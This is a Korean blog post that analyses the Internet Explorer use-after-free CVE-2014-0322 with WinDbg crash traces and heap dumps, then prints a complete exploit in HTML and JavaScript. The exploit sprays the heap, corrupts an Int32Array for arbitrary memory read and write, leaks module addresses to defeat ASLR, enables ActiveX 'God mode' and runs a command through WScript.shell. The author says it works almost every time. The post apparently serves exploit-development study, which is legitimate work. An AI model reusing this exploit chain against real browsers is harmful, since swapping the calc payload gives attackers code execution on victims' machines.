아래 공개된 Exploit 코드를 참고 했습니다.


http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/


단, 공개된 calc 파일 생성 Exploit 이 아닌 약간의 수정을 거친 코드입니다.(modified by hyunmini)


================================================================================================



위의 게시물에도 적혀있듯이, CVE-2014-0322 + Godmode Exploit 을 이해하려면 생각보다 많은 추가 지식이 필요 하다.




앞에서 Int32Array 객체의 length 를 변조하여(00 00 00 16 => 20 00 00 16)  1 byte 변조 만으로 info leak 및 ASLR 우회가 가능함을 확인했다.


CVE-2014-0322 취약점(inc 1 byte Use-After-Free)을 이용하면 1 바이트 증가시킬 수 있다. 이를 이용하여 DEP/ASLR 을 우회하여 공격이 가능하다.







#### CVE-2014-0322 분석 ####



C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe +ust +hpa


Current Registry Settings for iexplore.exe executable are: 02001000

    ust - Create user mode stack trace database

    hpa - Enable page heap




<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> // 최신 브라우저로 동작하도록 해줌. 호환성모드 무시하고 동작하도록 해줌 </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; // free } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html>





(578.8a8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=254ccfa0 ecx=77d463e0 edx=00171078 esi=2b652cc0 edi=2556cfc8

eip=6307100c esp=0a67b540 ebp=0a67b5a8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:2b652d38=????????




0:013> dd esi          // dangling pointer (uaf)

2b652cc0  ???????? ???????? ???????? ????????

2b652cd0  ???????? ???????? ???????? ????????

2b652ce0  ???????? ???????? ???????? ????????




0:013> !heap -p -a 2b652d38


    address 2b652d38 found in

    _DPH_HEAP_ROOT @ 171000

    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

                                   2b710f08:         2b652000             2000

    6e2c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2

    77db69d4 ntdll!RtlDebugFreeHeap+0x0000002f

    77d79e5b ntdll!RtlpFreeHeap+0x0000005d

    77d46416 ntdll!RtlFreeHeap+0x00000142

    763bc584 kernel32!HeapFree+0x00000014

    62ee8f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026

    62eb55da MSHTML!CBase::SubRelease+0x0000002e

    62ee4183 MSHTML!CMarkup::Release+0x0000002d

    632b14d1 MSHTML!InjectHtmlStream+0x00000716                   // CMarkup 해제하는 함수 호출함

    632b1567 MSHTML!HandleHTMLInjection+0x00000082

    632acfec MSHTML!CElement::InjectInternal+0x00000506

    632ad21d MSHTML!CElement::InjectTextOrHTML+0x000001a4

    6319ea80 MSHTML!CElement::put_outerHTML+0x0000001d   //  this.outerHTML = this.outerHTML;

    634a309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054

    6dee847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185

    6dee92c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf

    6df46c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8

    6df1c53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf

    6dee5cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305







#### UAF 객체 확인하기 ####



0:013> bp mshtml + 0x22100c

0:013> .restart    // 재시작 후 아무거나 클릭 


0:012> r

eax=00000000 ebx=079b2158 ecx=cd160735 edx=00000000 esi=0c87f9a8 edi=0cbef9f8

eip=6307100c esp=048ea760 ebp=048ea7c8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:0c87fa20=00000002



0:012> !heap -p -a esi

    address 0c87f9a8 found in

    _HEAP @ 3a0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        0c87f9a0 0069 0000  [00]   0c87f9a8    00340 - (busy)

          MSHTML!CMarkup::`vftable'




객체 크기는 0x340 이며, CMarkup 임을 알 수 있다.



 

0:012> dd esi

0c87f9a8  62e74a18 00000001 00000000 00000008

0c87f9b8  00000000 00000000 00000000 00000000

0c87f9c8  00000000 00000000 00000000 00000000


0:012> dds poi(esi)    // VFTable 확인 => CMarkup 객체 

62e74a18  630275f0 MSHTML!CMarkup::PrivateQueryInterface

62e74a1c  62e901e0 MSHTML!CMarkup::PrivateAddRef

62e74a20  62e901bd MSHTML!CMarkup::PrivateRelease

62e74a24  634aa3cd MSHTML!CBase::PrivateGetTypeInfoCount


이로써 해제된 CMarkup 객체를 다시 사용하려다 발생하는 UAF 임을 알 수 있다.





객체는 일반적으로 reference count 가 0 이 되면 해제되는데, 관련된 메소드들은 아래와 같다.


0:026> x mshtml!cmarkup::*ref

62ee5aec          MSHTML!CMarkup::ElementAddRef (<no parameter info>)

62e901e0          MSHTML!CMarkup::PrivateAddRef (<no parameter info>)

62ee41b9          MSHTML!CMarkup::AddRef (<no parameter info>)


0:026> x mshtml!cmarkup::*release

62e901bd          MSHTML!CMarkup::PrivateRelease (<no parameter info>)

62ee414a          MSHTML!CMarkup::Release (<no parameter info>)

6308f9ef          MSHTML!CMarkup::ElementRelease (<no parameter info>)


하지만 addref 와 release 가 너무 많이 호출되서 저것만으론 분석이 어려움. 







그래서  mshtml!CMarkup::CMarkup, mshtml!CMarkup::~CMarkup  으로 분석


분석을 위해 다들 하는 대로 atan2 함수를 이용했다. 분석 전에 처음에 설정해둔 디버깅용 힙 플래그를 해제해 주어야 한다.

(해제하지 않으면 LFH 가 활성화 되지 않아 메모리를 원하는 위치에 다시 할당할 수 없다)


C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe -ust -hpa


<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <script> var array = []; var array_len = 0x250; function createString(character, size) { while (character.length < size) { character += character; } return character.substr(0, (size - 6) / 2); } function handler() { Math.atan2(0xabcd, "[*] Start Handler"); this.outerHTML = this.outerHTML; // free var data = createString("A", 0xac + 0x6); data += unescape("%u4344%u4142"); data += createString("C",0x340); test = data.substr(0, (0x340-6) /2); for (var i=0;i<array_len;i++){ array[i] = document.createElement("button"); array[i].title = test; } Math.atan2(0xabcd, "[*] End Handler"); } function trigger() { Math.atan2(0xabcd, "[*] Trigger Start..."); var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); // use Math.atan2(0xabcd, "[*] Trigger End..."); } trigger(); </script> </body> </html>





0:020> sxe ld jscript9.dll    // jscript9 로드시 break


(238.734): Unknown exception - code 000006ba (first chance)

ModLoad: 6ded0000 6e196000   C:\Windows\System32\jscript9.dll

eax=12217000 ebx=00000000 ecx=00201000 edx=00000000 esi=7ff9f000 edi=09e18e5c

eip=77d36c74 esp=09e18d74 ebp=09e18dc8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246

ntdll!KiFastSystemCallRet:

77d36c74 c3              ret

0:020> g



# 브레이크 포인트 설정


더 자세한 분석을 하고 싶다면 kb 10 등의 콜스택 명령을 추가해서 각각의 할당과 해제 루틴을 분석하면 된다.


0:012> bu jscript9!Js::math::atan2 ".printf \"log : %mu\", poi(poi(esp+14)+c);.echo;g"

0:012> bu mshtml!CMarkup::CMarkup ".printf \"Alloc CMarkup %p\", @esi;.echo;g;"

0:012> bu mshtml!CMarkup::~CMarkup ".printf \"Free CMarkup %p\", @ecx;.echo;g;"

0:012> g


log : [*] Trigger Start...

log : [*] Start Handler

Alloc CMarkup 121d2cc0

Free CMarkup 121d2cc0

log : [*] End Handler

Alloc CMarkup 14dfccc0

log : [*] Start Handler

Alloc CMarkup 1423ecc0

Free CMarkup 1423ecc0

Free CMarkup 14dfccc0

log : [*] End Handler


(504.75c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=14e0cfa0 ecx=77d463e0 edx=00061078 esi=14dfccc0 edi=13319fc8

eip=6307100c esp=0967b370 ebp=0967b3d8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:14dfcd38=????????


handler() 내부, 즉 this.outerHTML = this.outerHTML; 에 의해서 객체가 해제된다는 것을 확인할 수 있다. 

그리고 Trigger End 가 출력되기 전에 에러가 발생한 것으로 보아 appendChild() 에서 use(after free) 한 것으로 볼 수 있다.

 b = a.appendChild(b);




이제 uaf 분석은 끝났고, 객체 크기(0x340 도 알고 있으니 정확한 크기를 할당하여 LFH 를 이용하면 해제된 메모리에 


원하는 값을 다시 할당해줄 수 있다. 현재 버전의 IE 는 isolated heap, protected memory(delayed heap) 이 적용되기 이전이므로 


그냥 아래와 같이 할당만 해주면 된다. 


var data = createString("A", 0xac + 0x6);
    data += unescape("%u4344%u4142");
    data += createString("C",0x340);

    test = data.substr(0, (0x340-6) /2);

    for (var i=0;i<array_len;i++){
        array[i] = document.createElement("button");
        array[i].title = test;
    }




이제 브레이크포인트를 해제하고, .restart 로 재시작을 해 보자.


eax=41424344 ebx=046ac718 ecx=00000191 edx=05cdcd10 esi=05cdcd10 edi=04746bc0

eip=630d1b97 esp=04a1b4ac ebp=04a1b518 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206

MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:

630d1b97 ff4010          inc     dword ptr [eax+10h]  ds:0023:41424354=????????


eax 의 값이 할당된 곳을 확인해 보자.


0:011> u @eip-d  l  10

MSHTML!CMarkup::UpdateMarkupContentsVersion+0x9:

630d1b8a 89427c          mov     dword ptr [edx+7Ch],eax

630d1b8d 8b82ac000000    mov     eax,dword ptr [edx+0ACh]   // eax 할당

630d1b93 85c0            test    eax,eax

630d1b95 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (630d1b9a)

630d1b97 ff4010          inc     dword ptr [eax+10h]   // crash

630d1b9a 8b8a94000000    mov     ecx,dword ptr [edx+94h]

630d1ba0 33c0            xor     eax,eax

630d1ba2 85c9            test    ecx,ecx

630d1ba4 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28 (630d1ba9)

630d1ba6 8b410c          mov     eax,dword ptr [ecx+0Ch]

630d1ba9 83b8c001000000  cmp     dword ptr [eax+1C0h],0

630d1bb0 7427            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x50 (630d1bd9)

630d1bb2 33c0            xor     eax,eax

630d1bb4 85c9            test    ecx,ecx

630d1bb6 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x3a (630d1bbb)

630d1bb8 8b410c          mov     eax,dword ptr [ecx+0Ch]


0:011> dd edx+ac

05cdcdbc  41424344 00430043 00430043 00430043

05cdcdcc  00430043 00430043 00430043 00430043

05cdcddc  00430043 00430043 00430043 00430043

05cdcdec  00430043 00430043 00430043 00430043

05cdcdfc  00430043 00430043 00430043 00430043

05cdce0c  00430043 00430043 00430043 00430043

05cdce1c  00430043 00430043 00430043 00430043

05cdce2c  00430043 00430043 00430043 00430043

0:011> r


이제 원하는 값을 +1 해줄 수 있음을 확인했다.




위 trigger() 함수를 이용해서 int32array 의 길이값, rawbuffer 주소를 변조하고, 프로세스 전체 접근 권한을 얻는다.


이후에는 int32array 읽기/쓰기 함수를 이용해서 jscript, mshtml 주소값과 목표 vtable 주소를 얻고,


최종적으로 godmode 를 켜준다.


전체 Exploit 코드는 아래와 같다.


<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script language="javascript">

    var array = [];
    var array_len = 0x250;

    function getFiller(n) { return new Array(n + 1).join("a"); }

    function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000);}

    function handler() {
        this.outerHTML = this.outerHTML; // free

        var data = getFiller(0x94 / 2) + getDwordStr(0xc0af010) +
                   getFiller((0xac - (0x94 + 4)) / 2) + getDwordStr(0xc0af00b) +
                   getFiller((0x1a4 - (0xac + 4)) / 2) + getDwordStr(0x11111) +
                   getFiller((0x340 - (0x1a4 + 4)) / 2 - 1);

        test = data.substr(0, (0x340 - 6) / 2);
        // Fake Object -> LFH (size: 0x340)
        for (var i = 0; i < array_len; i++) {
            array[i] = document.createElement("button");
            array[i].title = test;
        }
    }

    function trigger() {
        var a = document.getElementsByTagName("script")[0];
        a.onpropertychange = handler;
        var b = document.createElement("div");
        b = a.appendChild(b); // use
    }

    (function() {
        // clear memory
        CollectGarbage();

        a = new Array();
        for (i = 0; i < 0x200; ++i) {
            a[i] = new Array(0x3c00);
            if (i == 0x80)
                buf = new ArrayBuffer(0x58); 
            for (j = 0; j < a[i].length; ++j)
                a[i][j] = 0x123;
        }
        for (; i < 0x200 + 0x400; ++i) {
            a[i] = new Array(0x3bf8)
            for (j = 0; j < 0x55; ++j)
                a[i][j] = new Int32Array(buf)
        }
        // inc * 0x20  : 0x0c0af01b(00->20)
        // 00 00 00 16 -> 20 00 00 16
        for (var k = 0; k < 0x20; ++k) {
            trigger();
        }

        //alert("Set byte at 0c0af01b to 0x20"); 

        // find modified Int32Array
        int32array = 0;
        for (i = 0x200; i < 0x200 + 0x400; ++i) {
            for (j = 0; j < 0x55; ++j) {
                if (a[i][j].length != 0x58 / 4) {
                    int32array = a[i][j];
                    break;
                }
            }
            if (int32array != 0)
                break;
        }

        if (int32array == 0) {
            //alert("Can't find int32array!");
            window.location.reload();
            return;
        }

        // validate memory array
        //   to get buf_addr
        var vftptr1 = int32array[0x60 / 4],
            vftptr2 = int32array[0x60 * 2 / 4],
            vftptr3 = int32array[0x60 * 3 / 4],
            nextPtr1 = int32array[(0x60 + 0x24) / 4],
            nextPtr2 = int32array[(0x60 * 2 + 0x24) / 4],
            nextPtr3 = int32array[(0x60 * 3 + 0x24) / 4];
        if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
            window.location.reload();
            return;
        }
        // Int32Array address
        buf_addr = nextPtr1 - 0x60 * 2;

        // validate int32array addr
        //   0x0c0af01c => buf_addr
        //   0x0c0af01c => buf_addr + offset
        //   offset = 0x0c0af01c - buf addr
        if (int32array[(0x0c0af01c - buf_addr) / 4] != buf_addr) {
            window.location.reload();
            return;
        }

        /* before
            0:021> dd 0x0c0af000
            0c0af000  6ded3b60 05439760 00000000 00000003
            0c0af010  00000004 00000000 20000016 0205fc30 
        */
        //int32array[(0x0c0af018 - buf_addr) / 4] = 0x20000000; // new length
        int32array[(0x0c0af01c - buf_addr) / 4] = 0; // new buffer address, full memory access!!
        /* after
            0:027> dd 0x0c0af000
            0c0af000  6ded3b60 054398a0 00000000 00000003
            0c0af010  00000004 00000000 20000000 00000000
        */

        function read(address) {
            var k = address & 3;
            if (k == 0) {  // address % 4 == 0
                return int32array[address / 4];
            } else {
                return (int32array[(address - k) / 4] >> k * 8) |
                    (int32array[(address - k + 4) / 4] << (32 - k * 8));
            }
        }

        function write(address, value) {
            var k = address & 3;
            if (k == 0) {  // address % 4 == 0
                int32array[address / 4] = value;
            } else {
                var low = int32array[(address - k) / 4];
                var high = int32array[(address - k + 4) / 4];
                var mask = (1 << k * 8) - 1; // 0xff or 0xffff or 0xffffff
                low = (low & mask) | (value << k * 8);
                high = (high & (0xffffffff - mask)) | (value >> (32 - k * 8));
                int32array[(address - k) / 4] = low;
                int32array[(address - k + 4) / 4] = high;
            }
        }

        // God mode !!

        // jscript9.dll base address = int32array vftable - offset
        jscript9 = read(0x0c0af000) - 0x3b60;
        //alert("jscript9.dll base address\n0x"+jscript9.toString(16));
        for (i = 0x200; i < 0x200 + 0x400; ++i)
            a[i][0x3bf7] = 0;

        // 0x0c0af000-4 => find last array addr
        //==================================
        //         array [0~~~ 0x3bf7]
        //    0x0c0af000 [int32array]
        write(0x0c0af000 - 4, 3);

        leakArray = 0;
        for (i = 0x200; i < 0x200 + 0x400; ++i) {
            if (a[i][0x3bf7] != 0) {
                leakArray = a[i];
                break;
            }
        }
        if (leakArray == 0) {
            alert("Can't find leakArray!");
            window.location.reload();
            return;
        }

        function get_addr(obj) {
            // leakarray[0x3bf7] == 0x0c0af000-4
            leakArray[0x3bf7] = obj;
            return read(0x0c0af000 - 4);
        }

        // div elements first 4 bytes => jscript9!Projection::ArrayObjectInstance::`vftable'
        // div elements +0x10 bytes   => MSHTML!CBaseTypeOperations::CBaseFinalizer
        var addr = get_addr(document.createElement("div"));
        // MSHTML!CBaseTypeOperations::CBaseFinalizer Vtable = mshtml + 0x58b9a
        mshtml = read(addr + 0x10) - 0x58b9a;
        //var old = read(mshtml + 0xc555e0 + 0x14); 
        write(mshtml + 0xc555e0 + 0x14, jscript9 + 0xdc164); // God mode on
        shell = new ActiveXObject("WScript.shell");
        shell.Exec('calc.exe');
        //write(mshtml + 0xc555e0 + 0x14, old); // God mode off
        //alert("All done!");
    })();
</script>
</head>

<body>
</body>

</html>


거의 99% 신뢰도로 Exploit 성공한다. 중간중간 확인 후 memory layout 이 맞지 않으면 reload 해주기 때문이다.


자세한 설명은 고급과정에서 자세히!



+ Recent posts